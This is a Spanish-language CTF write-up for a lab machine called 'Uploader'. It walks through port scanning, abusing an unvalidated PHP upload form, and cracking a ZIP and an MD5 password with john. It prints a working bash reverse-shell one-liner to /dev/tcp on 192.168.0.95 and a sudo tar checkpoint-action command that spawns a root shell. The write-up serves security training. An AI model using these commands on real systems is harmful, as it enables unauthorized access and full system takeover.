Resolución del CTF Uploader
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
El escaneo identifica únicamente el puerto 80/TCP expuesto, correspondiente a un servicio HTTP.
Explotación
Accedemos al servicio web y localizamos un formulario de subida de archivos accesible en upload.php. El backend no implementa validación de tipo ni extensión, permitiendo la carga de archivos PHP ejecutables.
Cargamos una reverse shell en PHP y la ejecutamos directamente desde el directorio público de subidas.
nc -lvnp 4444bash -c 'bash -i >& /dev/tcp/192.168.0.95/4444 0>&1'Obtenemos acceso como el usuario del servicio web.
Post-explotación
Enumeramos el sistema y encontramos un archivo de texto en /home que indica la existencia de un archivo ZIP oculto.
find / -type f -name "*.zip" 2>/dev/nullLocalizamos el archivo en /srv/secret/File.zip y lo transferimos a nuestra máquina para su análisis.
zip2john File.zip > hashjohn --wordlist=/usr/share/wordlists/rockyou.txt hashDescomprimimos el archivo y obtenemos credenciales para el usuario operatorx, donde la contraseña se encuentra en formato MD5.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash_md5Con la contraseña en texto plano, cambiamos al usuario operatorx.
su operatorxEscalada de privilegios
Revisamos los privilegios sudo del usuario y detectamos que puede ejecutar el binario tar como root sin contraseña.
sudo -lAbusamos del binario tar utilizando una técnica documentada para ejecutar una shell con privilegios elevados.
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bashObtenemos acceso como usuario root y comprometemos completamente el sistema.
